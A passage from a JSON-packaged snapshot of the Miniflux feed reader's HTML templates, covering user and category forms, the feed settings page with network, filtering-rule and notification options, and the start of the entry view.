data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.save\" }}</button> {{ t \"action.or\" }} <a href=\"{{ routePath \"/categories\" }}\">{{ t \"action.cancel\" }}</a>\n    </div>\n</form>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/create_user.html",
    "content": "{{ define \"title\"}}{{ t \"page.new_user.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.new_user.title\" }}</h1>\n    {{ template \"settings_menu\" dict \"user\" .user }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<form action=\"{{ routePath \"/user/save\" }}\" method=\"post\" autocomplete=\"off\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n    {{ if .errorMessage }}\n        <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n    {{ end }}\n\n    <label for=\"form-username\">{{ t \"form.user.label.username\" }}</label>\n    <input type=\"text\" name=\"username\" id=\"form-username\" value=\"{{ .form.Username }}\" autocomplete=\"username\" spellcheck=\"false\" required autofocus>\n\n    <label for=\"form-password\">{{ t \"form.user.label.password\" }}</label>\n    <input type=\"password\" name=\"password\" id=\"form-password\" value=\"{{ .form.Password }}\" autocomplete=\"new-password\" required>\n\n    <label for=\"form-confirmation\">{{ t \"form.user.label.confirmation\" }}</label>\n    <input type=\"password\" name=\"confirmation\" id=\"form-confirmation\" value=\"{{ .form.Confirmation }}\" autocomplete=\"new-password\" required>\n\n    <label><input type=\"checkbox\" name=\"is_admin\" value=\"1\" {{ if .form.IsAdmin }}checked{{ end }}> {{ t \"form.user.label.admin\" }}</label>\n\n    <div class=\"buttons\">\n        <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.save\" }}</button> {{ t \"action.or\" }} <a href=\"{{ routePath \"/users\" }}\">{{ t \"action.cancel\" }}</a>\n    </div>\n</form>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/edit_category.html",
    "content": "{{ define \"title\"}}{{ t \"page.edit_category.title\" .category.Title }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.edit_category.title\" .category.Title }}</h1>\n    <nav aria-label=\"{{ t \"page.edit_category.title\" .category.Title }} {{ t \"menu.title\" }}\">\n        <ul>\n            <li>\n                <a href=\"{{ routePath \"/categories\" }}\">{{ icon \"categories\" }}{{ t \"menu.categories\" }}</a>\n            </li>\n            <li>\n                <a href=\"{{ routePath \"/category/%d/feeds\" .category.ID }}\">{{ icon \"feeds\" }}{{ t \"menu.feeds\" }}</a>\n            </li>\n            <li>\n                <a href=\"{{ routePath \"/category/create\" }}\">{{ icon \"add-category\" }}{{ t \"menu.create_category\" }}</a>\n            </li>\n        </ul>\n    </nav>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<form action=\"{{ routePath \"/category/%d/update\" .category.ID }}\" method=\"post\" autocomplete=\"off\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n    {{ if .errorMessage }}\n        <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n    {{ end }}\n\n    <label for=\"form-title\">{{ t \"form.category.label.title\" }}</label>\n    <input type=\"text\" name=\"title\" id=\"form-title\" value=\"{{ .form.Title }}\" required autofocus>\n\n    <label>\n        <input type=\"checkbox\" name=\"hide_globally\" {{ if .form.HideGlobally }}checked{{ end }} value=\"1\">\n        {{ t \"form.category.hide_globally\" }}\n    </label>\n\n    <div class=\"buttons\">\n        <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n    </div>\n</form>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/edit_feed.html",
    "content": "{{ define \"title\"}}{{ t \"page.edit_feed.title\" .feed.Title }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\" dir=\"auto\">{{ .feed.Title }}</h1>\n    <nav aria-label=\"{{ .feed.Title }} {{ t \"menu.title\" }}\">\n        <ul>\n            <li>\n                <a href=\"{{ routePath \"/feeds\" }}\">{{ icon \"feeds\" }}{{ t \"menu.feeds\" }}</a>\n            </li>\n            <li>\n                <a href=\"{{ routePath \"/feed/%d/entries\" .feed.ID }}\">{{ icon \"entries\" }}{{ t \"menu.feed_entries\" }}</a>\n            </li>\n            <li>\n                <a href=\"#\"\n                    data-confirm=\"true\"\n                    data-label-question=\"{{ t \"confirm.question.refresh\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-url=\"{{ routePath \"/feed/%d/refresh\" .feed.ID }}?forceRefresh=true\"\n                    data-no-action-url=\"{{ routePath \"/feed/%d/refresh\" .feed.ID }}?forceRefresh=false\">{{ icon \"refresh\" }}{{ t \"menu.refresh_feed\" }}</a>\n            </li>\n        </ul>\n    </nav>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .categories }}\n    <p role=\"alert\" class=\"alert alert-error\">{{ t \"page.add_feed.no_category\" }}</p>\n{{ else }}\n    {{ if ne .feed.ParsingErrorCount 0 }}\n    <div role=\"alert\" class=\"alert alert-error\">\n        <h3>{{ t \"page.edit_feed.last_parsing_error\" }}</h3>\n        <p>{{ t .feed.ParsingErrorMsg }}</p>\n    </div>\n    {{ end }}\n\n    <form action=\"{{ routePath \"/feed/%d/update\" .feed.ID }}\" method=\"post\" autocomplete=\"off\">\n        <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n        {{ if .errorMessage }}\n            <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n        {{ end }}\n\n        <fieldset>\n            <legend>{{ t \"form.feed.fieldset.general\" }}</legend>\n\n            <label for=\"form-category\">{{ t \"form.feed.label.category\" }}</label>\n            <select id=\"form-category\" name=\"category_id\" autofocus>\n            {{ range .categories }}\n                <option value=\"{{ .ID }}\" {{ if eq .ID $.form.CategoryID }}selected=\"selected\"{{ end }}>{{ .Title }}</option>\n            {{ end }}\n            </select>\n\n            <label for=\"form-title\">{{ t \"form.feed.label.title\" }}</label>\n            <input type=\"text\" name=\"title\" id=\"form-title\" value=\"{{ .form.Title }}\" spellcheck=\"false\" required>\n\n            <label for=\"form-site-url\">{{ t \"form.feed.label.site_url\" }}</label>\n            <input type=\"url\" name=\"site_url\" id=\"form-site-url\" placeholder=\"https://domain.tld/\" value=\"{{ .form.SiteURL }}\" spellcheck=\"false\" required>\n\n            <label for=\"form-feed-url\">{{ t \"form.feed.label.feed_url\" }}</label>\n            <input type=\"url\" name=\"feed_url\" id=\"form-feed-url\" placeholder=\"https://domain.tld/\" value=\"{{ .form.FeedURL }}\" spellcheck=\"false\" required>\n\n            <label for=\"form-description\">{{ t \"form.feed.label.description\" }}</label>\n            <textarea name=\"description\" id=\"form-description\" cols=\"40\" rows=\"10\" >{{ .form.Description }}</textarea>\n\n            {{ if not .form.CategoryHidden }}\n            <label><input type=\"checkbox\" name=\"hide_globally\" value=\"1\"{{ if .form.HideGlobally }} checked{{ end }}> {{ t \"form.feed.label.hide_globally\" }}</label>\n            {{ end }}\n\n            <label><input type=\"checkbox\" name=\"no_media_player\" {{ if .form.NoMediaPlayer }}checked{{ end }} value=\"1\" >  {{ t \"form.feed.label.no_media_player\" }} </label>\n            <label><input type=\"checkbox\" name=\"disabled\" value=\"1\" {{ if .form.Disabled }}checked{{ end }}> {{ t \"form.feed.label.disabled\" }}</label>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </fieldset>\n\n        <fieldset>\n            <legend>{{ t \"form.feed.fieldset.network_settings\" }}</legend>\n\n            <label for=\"form-feed-username\">{{ t \"form.feed.label.feed_username\" }}</label>\n            <input type=\"text\" name=\"feed_username\" id=\"form-feed-username\" value=\"{{ .form.Username }}\" spellcheck=\"false\">\n\n            <label for=\"form-feed-password\">{{ t \"form.feed.label.feed_password\" }}</label>\n            <!--\n                We are using the type \"text\" otherwise Firefox always autocomplete this password:\n\n                - autocomplete=\"off\" or autocomplete=\"new-password\" doesn't change anything\n                - Changing the input ID doesn't change anything\n                - Using a different input name doesn't change anything\n            -->\n            <input type=\"text\" name=\"feed_password\" id=\"form-feed-password\" value=\"{{ .form.Password }}\" spellcheck=\"false\">\n\n            <label for=\"form-user-agent\">{{ t \"form.feed.label.user_agent\" }}</label>\n            <input type=\"text\" name=\"user_agent\" id=\"form-user-agent\" placeholder=\"{{ .defaultUserAgent }}\" value=\"{{ .form.UserAgent }}\" spellcheck=\"false\">\n\n            <label for=\"form-proxy-url\">{{ t \"form.feed.label.proxy_url\" }}</label>\n            <input type=\"url\" name=\"proxy_url\" id=\"form-proxy-url\" value=\"{{ .form.ProxyURL }}\" spellcheck=\"false\">\n\n            <label for=\"form-cookie\">{{ t \"form.feed.label.cookie\" }}</label>\n            <input type=\"text\" name=\"cookie\" id=\"form-cookie\" value=\"{{ .form.Cookie }}\" spellcheck=\"false\">\n\n            <label><input type=\"checkbox\" name=\"crawler\" value=\"1\" {{ if .form.Crawler }}checked{{ end }}> {{ t \"form.feed.label.crawler\" }}</label>\n            <label><input type=\"checkbox\" name=\"ignore_entry_updates\" value=\"1\" {{ if .form.IgnoreEntryUpdates }}checked{{ end }}> {{ t \"form.feed.label.ignore_entry_updates\" }}</label>\n            <label><input type=\"checkbox\" name=\"ignore_http_cache\" value=\"1\" {{ if .form.IgnoreHTTPCache }}checked{{ end }}> {{ t \"form.feed.label.ignore_http_cache\" }}</label>\n            <label><input type=\"checkbox\" name=\"allow_self_signed_certificates\" value=\"1\" {{ if .form.AllowSelfSignedCertificates }}checked{{ end }}> {{ t \"form.feed.label.allow_self_signed_certificates\" }}</label>\n            <label><input type=\"checkbox\" name=\"disable_http2\" value=\"1\" {{ if .form.DisableHTTP2 }}checked{{ end }}> {{ t \"form.feed.label.disable_http2\" }}</label>\n            {{ if .hasProxyConfigured }}\n            <label><input type=\"checkbox\" name=\"fetch_via_proxy\" value=\"1\" {{ if .form.FetchViaProxy }}checked{{ end }}> {{ t \"form.feed.label.fetch_via_proxy\" }}</label>\n            {{ end }}\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </fieldset>\n\n        <fieldset>\n            <legend>{{ t \"form.feed.fieldset.rules\" }}</legend>\n\n            <div class=\"form-label-row\">\n                <label for=\"form-scraper-rules\">\n                    {{ t \"form.feed.label.scraper_rules\" }}\n                </label>\n                &nbsp;\n                <a href=\"https://miniflux.app/docs/rules.html#scraper-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                    {{ icon \"external-link\" }}\n                </a>\n            </div>\n            <input type=\"text\" name=\"scraper_rules\" id=\"form-scraper-rules\" value=\"{{ .form.ScraperRules }}\" spellcheck=\"false\">\n\n            <div class=\"form-label-row\">\n                <label for=\"form-rewrite-rules\">\n                    {{ t \"form.feed.label.rewrite_rules\" }}\n                </label>\n                &nbsp;\n                <a href=\"https://miniflux.app/docs/rules.html#rewrite-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                    {{ icon \"external-link\" }}\n                </a>\n            </div>\n            <input type=\"text\" name=\"rewrite_rules\" id=\"form-rewrite-rules\" value=\"{{ .form.RewriteRules }}\" spellcheck=\"false\">\n\n            <div class=\"form-label-row\">\n                <label for=\"form-urlrewrite-rules\">\n                    {{ t \"form.feed.label.urlrewrite_rules\" }}\n                </label>\n                &nbsp;\n                <a href=\"https://miniflux.app/docs/rules.html#rewriteurl-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                    {{ icon \"external-link\" }}\n                </a>\n            </div>\n            <input type=\"text\" name=\"urlrewrite_rules\" id=\"form-urlrewrite-rules\" value=\"{{ .form.UrlRewriteRules }}\" spellcheck=\"false\">\n\n            <div class=\"form-label-row\">\n                <label for=\"form-blocklist-rules\">\n                    {{ t \"form.feed.label.blocklist_rules\" }}\n                </label>\n                &nbsp;\n                <a href=\"https://miniflux.app/docs/rules.html#feed-filtering-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                    {{ icon \"external-link\" }}\n                </a>\n            </div>\n            <input type=\"text\" name=\"blocklist_rules\" id=\"form-blocklist-rules\" value=\"{{ .form.BlocklistRules }}\" spellcheck=\"false\">\n\n            <div class=\"form-label-row\">\n                <label for=\"form-keeplist-rules\">\n                    {{ t \"form.feed.label.keeplist_rules\" }}\n                </label>\n                &nbsp;\n                <a href=\"https://miniflux.app/docs/rules.html#feed-filtering-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                    {{ icon \"external-link\" }}\n                </a>\n            </div>\n            <input type=\"text\" name=\"keeplist_rules\" id=\"form-keeplist-rules\" value=\"{{ .form.KeeplistRules }}\" spellcheck=\"false\">\n\n            <div class=\"form-label-row\">\n                <label for=\"form-block-filter-rules\">\n                    {{ t \"form.feed.label.block_filter_entry_rules\" }}\n                </label>\n                &nbsp;\n                <a href=\" https://miniflux.app/docs/rules.html#filtering-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                    {{ icon \"external-link\" }}\n                </a>\n            </div>\n            <textarea id=\"form-block-filter-rules\" name=\"block_filter_entry_rules\" cols=\"40\" rows=\"10\" spellcheck=\"false\">{{ .form.BlockFilterEntryRules }}</textarea>\n\n            <div class=\"form-label-row\">\n                <label for=\"form-keep-filter-rules\">\n                    {{ t \"form.feed.label.keep_filter_entry_rules\" }}\n                </label>\n                &nbsp;\n                <a href=\" https://miniflux.app/docs/rules.html#filtering-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                    {{ icon \"external-link\" }}\n                </a>\n            </div>\n            <textarea id=\"form-keep-filter-rules\" name=\"keep_filter_entry_rules\" cols=\"40\" rows=\"10\" spellcheck=\"false\">{{ .form.KeepFilterEntryRules }}</textarea>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </fieldset>\n\n        <fieldset>\n            <legend>{{ t \"form.feed.fieldset.integration\" }}</legend>\n\n            <details {{ if .form.AppriseServiceURLs }}open{{ end }}>\n                <summary>Apprise</summary>\n                <div class=\"form-label-row\">\n                    <label for=\"form-apprise-service-urls\">\n                        {{ t \"form.feed.label.apprise_service_urls\" }}\n                    </label>\n                </div>\n                <input type=\"text\" name=\"apprise_service_urls\" id=\"form-apprise-service-urls\" value=\"{{ .form.AppriseServiceURLs }}\" spellcheck=\"false\" autocomplete=\"off\">\n            </details>\n\n            <details {{ if .form.NtfyEnabled }}open{{ end }}>\n                <summary>Ntfy</summary>\n                <label><input type=\"checkbox\" name=\"ntfy_enabled\" value=\"1\" {{ if .form.NtfyEnabled }}checked{{ end }}> {{ t \"form.feed.label.ntfy_activate\" }}</label>\n                <div class=\"form-label-row\">\n                    <label for=\"form-ntfy-topic\">\n                        {{ t \"form.feed.label.ntfy_topic\" }}\n                    </label>\n                </div>\n                <input type=\"text\" name=\"ntfy_topic\" id=\"form-ntfy-topic\" value=\"{{ .form.NtfyTopic }}\" spellcheck=\"false\" autocomplete=\"off\">\n                <div class=\"form-label-row\">\n                    <label for=\"form-ntfy-priority\">\n                        {{ t \"form.feed.label.ntfy_priority\" }}\n                    </label>\n                    &nbsp;\n                    <a href=\"https://docs.ntfy.sh/publish/#message-priority\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                        {{ icon \"external-link\" }}\n                    </a>\n                </div>\n                <select id=\"form-ntfy-priority\" name=\"ntfy_priority\">\n                    <option value=\"5\" {{ if eq .form.NtfyPriority 5 }}selected{{ end }}>5 - {{ t \"form.feed.label.ntfy_max_priority\" }}</option>\n                    <option value=\"4\" {{ if eq .form.NtfyPriority 4 }}selected{{ end }}>4 - {{ t \"form.feed.label.ntfy_high_priority\" }}</option>\n                    <option value=\"3\" {{ if eq .form.NtfyPriority 3 }}selected{{ end }}>3 - {{ t \"form.feed.label.ntfy_default_priority\" }}</option>\n                    <option value=\"2\" {{ if eq .form.NtfyPriority 2 }}selected{{ end }}>2 - {{ t \"form.feed.label.ntfy_low_priority\" }}</option>\n                    <option value=\"1\" {{ if eq .form.NtfyPriority 1 }}selected{{ end }}>1 - {{ t \"form.feed.label.ntfy_min_priority\" }}</option>\n                </select>\n            </details>\n\n            <details {{ if .form.PushoverEnabled }}open{{ end }}>\n                <summary>Pushover</summary>\n                <label><input type=\"checkbox\" name=\"pushover_enabled\" value=\"1\" {{ if .form.PushoverEnabled }}checked{{ end }}> {{ t \"form.feed.label.pushover_activate\" }}</label>\n                <div class=\"form-label-row\">\n                    <label for=\"form-pushover-priority\">\n                        {{ t \"form.feed.label.pushover_priority\" }}\n                    </label>\n                    &nbsp;\n                    <a href=\"https://pushover.net/api#priority\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                        {{ icon \"external-link\" }}\n                    </a>\n                </div>\n                <select id=\"form-pushover-priority\" name=\"pushover_priority\">\n                    <option value=\"2\" {{ if eq .form.PushoverPriority 2 }}selected{{ end }}>2 - {{ t \"form.feed.label.pushover_max_priority\" }}</option>\n                    <option value=\"1\" {{ if eq .form.PushoverPriority 1 }}selected{{ end }}>1 - {{ t \"form.feed.label.pushover_high_priority\" }}</option>\n                    <option value=\"0\" {{ if eq .form.PushoverPriority 0 }}selected{{ end }}>0 - {{ t \"form.feed.label.pushover_default_priority\" }}</option>\n                    <option value=\"-1\" {{ if eq .form.PushoverPriority -1 }}selected{{ end }}>-1 - {{ t \"form.feed.label.pushover_low_priority\" }}</option>\n                    <option value=\"-2\" {{ if eq .form.PushoverPriority -2 }}selected{{ end }}>-2 - {{ t \"form.feed.label.pushover_min_priority\" }}</option>\n                </select>\n            </details>\n\n            <details {{ if .form.WebhookURL }}open{{ end }}>\n                <summary>Webhook</summary>\n                <div class=\"form-label-row\">\n                    <label for=\"form-webhook-url\">\n                        {{ t \"form.feed.label.webhook_url\" }}\n                    </label>\n                </div>\n                <input type=\"url\" name=\"webhook_url\" id=\"form-webhook-url\" value=\"{{ .form.WebhookURL }}\" spellcheck=\"false\" autocomplete=\"off\">\n            </details>\n\n            <div class=\"buttons\">\n                <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button>\n            </div>\n        </fieldset>\n    </form>\n\n    <div class=\"panel\">\n        <ul>\n            <li><strong>{{ t \"page.edit_feed.last_check\" }} </strong><time datetime=\"{{ isodate .feed.CheckedAt }}\" title=\"{{ isodate .feed.CheckedAt }}\">{{ elapsed $.user.Timezone .feed.CheckedAt }}</time></li>\n            {{ $nextCheckDuration := duration .feed.NextCheckAt }}\n            {{ if ne $nextCheckDuration \"\" }}\n            <li><strong>{{ t \"page.feeds.next_check\" }}</strong> <time datetime=\"{{ isodate .feed.NextCheckAt }}\" title=\"{{ isodate .feed.NextCheckAt }}\">{{ $nextCheckDuration }}</time></li>\n            {{ end }}\n            <li><strong>{{ t \"page.edit_feed.etag_header\" }} </strong>{{ if .feed.EtagHeader }}{{ .feed.EtagHeader }}{{ else }}{{ t \"page.edit_feed.no_header\" }}{{ end }}</li>\n            <li><strong>{{ t \"page.edit_feed.last_modified_header\" }} </strong>{{ if .feed.LastModifiedHeader }}{{ .feed.LastModifiedHeader }}{{ else }}{{ t \"page.edit_feed.no_header\" }}{{ end }}</li>\n        </ul>\n    </div>\n\n    <div role=\"alert\" class=\"alert alert-error\">\n        <a href=\"#\"\n            data-confirm=\"true\"\n            data-action=\"remove-feed\"\n            data-label-question=\"{{ t \"confirm.question\" }}\"\n            data-label-yes=\"{{ t \"confirm.yes\" }}\"\n            data-label-no=\"{{ t \"confirm.no\" }}\"\n            data-label-loading=\"{{ t \"confirm.loading\" }}\"\n            data-url=\"{{ routePath \"/feed/%d/remove\" .feed.ID }}\"\n            data-redirect-url=\"{{ routePath \"/feeds\" }}\">{{ t \"action.remove_feed\" }}</a>\n    </div>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/edit_user.html",
    "content": "{{ define \"title\"}}{{ t \"page.edit_user.title\" .selected_user.Username }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.edit_user.title\" .selected_user.Username }}</h1>\n    {{ template \"settings_menu\" dict \"user\" .user }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<form action=\"{{ routePath \"/users/%d/update\" .selected_user.ID }}\" method=\"post\" autocomplete=\"off\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n    {{ if .errorMessage }}\n        <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n    {{ end }}\n\n    <label for=\"form-username\">{{ t \"form.user.label.username\" }}</label>\n    <input type=\"text\" name=\"username\" id=\"form-username\" value=\"{{ .form.Username }}\" autocomplete=\"username\" spellcheck=\"false\" required autofocus>\n\n    <label for=\"form-password\">{{ t \"form.user.label.password\" }}</label>\n    <input type=\"password\" name=\"password\" id=\"form-password\" value=\"{{ .form.Password }}\" autocomplete=\"new-password\">\n\n    <label for=\"form-confirmation\">{{ t \"form.user.label.confirmation\" }}</label>\n    <input type=\"password\" name=\"confirmation\" id=\"form-confirmation\" value=\"{{ .form.Confirmation }}\" autocomplete=\"new-password\">\n\n    <label><input type=\"checkbox\" name=\"is_admin\" value=\"1\" {{ if .form.IsAdmin }}checked{{ end }}> {{ t \"form.user.label.admin\" }}</label>\n\n    <div class=\"buttons\">\n        <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.update\" }}</button> {{ t \"action.or\" }} <a href=\"{{ routePath \"/users\" }}\">{{ t \"action.cancel\" }}</a>\n    </div>\n</form>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/entry.html",
    "content": "{{ define \"title\"}}{{ .entry.Title }}{{ end }}\n\n{{ define \"entry_pagination\" }}\n<div class=\"pagination\">\n    <div class=\"pagination-prev {{ if not .prevEntry }}disabled{{end}}\">\n        {{ if .prevEntry }}\n            <a href=\"{{ .prevEntryRoute }}{{ queryString (dict \"q\" .searchQuery \"unread\" .searchUnreadOnly) }}\" title=\"{{ .prevEntry.Title }}\" data-page=\"previous\" rel=\"prev\">{{ t \"pagination.previous\" }}</a>\n        {{ else }}\n            {{ t \"pagination.previous\" }}\n        {{ end }}\n    </div>\n\n    <a href=\"#\" class=\"elevator\">{{ icon \"up\" }}{{ t \"page.footer.elevator\" }}</a>\n\n    <div class=\"pagination-next {{ if not .nextEntry }}disabled{{end}}\">\n        {{ if .nextEntry }}\n            <a href=\"{{ .nextEntryRoute }}{{ queryString (dict \"q\" .searchQuery \"unread\" .searchUnreadOnly) }}\" title=\"{{ .nextEntry.Title }}\" data-page=\"next\" rel=\"next\">{{ t \"pagination.next\" }}</a>\n        {{ else }}\n            {{ t \"pagination.next\" }}\n        {{ end }}\n    </div>\n</div>\n{{ end }}\n\n{{ define \"enclosure_media_controls\" }}\n<div class=\"media-controls\">\n    <div class=\"media-seek-control\">\n        <div class=\"media-control-label\">{{ t \"enclosure_media_controls.seek\" }} </div>\n        <button class=\"page-button\" data-enclosure-id=\"{{.ID}}\" data-enclosure-action=\"seek\" data-action-value=\"-30\" title=\"{{ t \"enclosure_media_controls.seek.title\" \"-30\" }}\" ><span class=\"icon-label\" >-30s</span></button>\n        <button class=\"page-button\" data-enclosure-id=\"{{.ID}}\" data-enclosure-action=\"seek\" data-action-value=\"-10\" title=\"{{ t \"enclosure_media_controls.seek.title\" \"-10\" }}\" ><span class=\"icon-label\" >-10s</span></button>\n        <button class=\"page-button\" data-enclosure-id=\"{{.ID}}\" data-enclosure-action=\"seek\" data-action-value=\"+10\" title=\"{{ t \"enclosure_media_controls.seek.title\" \"+10\" }}\" ><span class=\"icon-label\" >+10s</span></button>\n        <button class=\"page-button\" data-enclosure-id=\"{{.ID}}\" data-enclosure-action=\"seek\" data-action-value=\"+30\" title=\"{{ t \"enclosure_media_controls.seek.title\" \"+30\" }}\" ><span class=\"icon-label\" >+30s</span></button>\n    </div>\n    <div class=\"media-speed-control\">\n\n        <div class=\"media-control-label\">{{ t \"enclosure_media_controls.speed\" }} (<span class=\"speed-indicator\" data-enclosure-id=\"{{.ID}}\">1.00x</span>)</div> <!-- Need JS to display the current speed unfortunately -->\n        <button class=\"page-button\" data-enclosure-id=\"{{.ID}}\" data-enclosure-action=\"speed\" data-action-value=\"-0.25\" title=\"{{ t \"enclosure_media_controls.speed.slower.title\" \"0.25\" }}\"><span class=\"icon-label\" >{{ t \"enclosure_media_controls.speed.slower\" }}</span></button>\n        <button class=\"page-button\" data-enclosure-id=\"{{.ID}}\" data-enclosure-action=\"speed-reset\" data-action-value=\"1\" title=\"{{ t \"enclosure_media_controls.speed.reset.title\"}}\"><span class=\"icon-label\" >{{ t \"enclosure_media_controls.speed.reset\" }}</span></button>\n        <button class=\"page-button\" data-enclosure-id=\"{{.ID}}\" data-enclosure-action=\"speed\" data-action-value=\"+0.25\" title=\"{{ t \"enclosure_media_controls.speed.faster.title\" \"0.25\" }}\"><span class=\"icon-label\" >{{ t \"enclosure_media_controls.speed.faster\" }}</span></button>\n    </div>\n</div>\n{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"entry\" data-id=\"{{ .entry.ID }}\" aria-labelledby=\"page-header-title\">\n    <header class=\"entry-header\">\n        <h1 id=\"page-header-title\" dir=\"auto\">\n            <a href=\"{{ .entry.URL | safeURL }}\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ else }}rel=\"noopener\"{{ end }}>{{ .entry.Title }}</a>\n        </h1>\n        {{ if .user }}\n        <div class=\"entry-actions\">\n            <ul>\n                <li>\n                    <button\n                        class=\"page-button\"\n                        title=\"{{ t \"entry.status.title\" }}\"\n                        data-toggle-status=\"true\"\n                        data-label-loading=\"{{ t \"entry.state.saving\" }}\"\n                        data-label-unread=\"{{ t \"entry.status.mark_as_unread\" }}\"\n                        data-label-read=\"{{ t \"entry.status.mark_as_read\" }}\"\n                        data-toast-unread=\"{{ t \"entry.status.toast.unread\" }}\"\n                        data-toast-read=\"{{ t \"entry.status.toast.read\" }}\"\n                        data-value=\"{{ if eq .entry.Status \"read\" }}read{{ else }}unread{{ end }}\"\n                        >{{ if eq .entry.Status \"unread\" }}{{ icon \"read\" }}{{ else }}{{ icon \"unread\" }}{{ end }}<span class=\"icon-label\">{{ if eq .entry.Status \"unread\" }}{{ t \"entry.status.mark_as_read\" }}{{ else }}{{ t \"entry.status.mark_as_unread\" }}{{ end }}</span></button>\n                </li>\n                <li>\n                    <button\n                        class=\"page-button\"\n                        data-toggle-starred=\"true\"\n                        data-star-url=\"{{ routePath \"/entry/star/%d\" .entry.ID }}\"\n                        data-label-loading=\"{{ t \"entry.state.saving\" }}\"\n                        data-label-star=\"{{ t \"entry.starred.toggle.on\" }}\"\n                        data-label-unstar=\"{{ t \"entry.starred.toggle.off\" }}\"\n                        data-toast-star=\"{{ t \"entry.starred.toast.on\" }}\"\n                        data-toast-unstar=\"{{ t \"entry.starred.toast.off\" }}\"\n                        data-value=\"{{ if .entry.Starred }}star{{ else }}unstar{{ end }}\"\n                        >{{ if .entry.Starred }}{{ icon \"unstar\" }}{{ else }}{{ icon \"star\" }}{{ end }}<span class=\"icon-label\">{{ if .entry.Starred }}{{ t \"entry.starred.toggle.off\" }}{{ else }}{{ t \"entry.starred.toggle.on\" }}{{ end }}</span></button>\n                </li>\n                {{ if .hasSaveEntry }}\n                <li>\n                    <button\n                        class=\"page-button\"\n                        title=\"{{ t \"entry.save.title\" }}\"\n                        data-save-entry=\"true\"\n                        data-save-url=\"{{ routePath \"/entry/save/%d\" .entry.ID }}\"\n                        data-label-loading=\"{{ t \"entry.state.saving\" }}\"\n                        data-label-done=\"{{ t \"entry.save.completed\" }}\"\n                        data-toast-done=\"{{ t \"entry.save.toast.completed\" }}\"\n                        >{{ icon \"save\" }}<span class=\"icon-label\">{{ t \"entry.save.label\" }}</span></button>\n                </li>\n                {{ end }}\n                {{ if .entry.ShareCode }}\n                <li>\n                    <a href=\"{{ routePath \"/share/%s\" .entry.ShareCode }}\"\n                        title=\"{{ t \"entry.shared_entry.title\" }}\"\n                        data-share-status=\"shared\"\n                        {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>{{ icon \"share\" }}<span class=\"icon-label\">{{ t \"entry.shared_entry.label\" }}</span></a>\n                </li>\n                <li>\n                    <button\n                        class=\"page-button\"\n                        data-confirm=\"true\"\n                        data-url=\"{{ routePath \"/entry/unshare/%d\" .entry.ID }}\"\n                        data-label-question=\"{{ t \"confirm.question\" }}\"\n                        data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                        data-label-no=\"{{ t \"confirm.no\" }}\"\n                        data-label-loading=\"{{ t 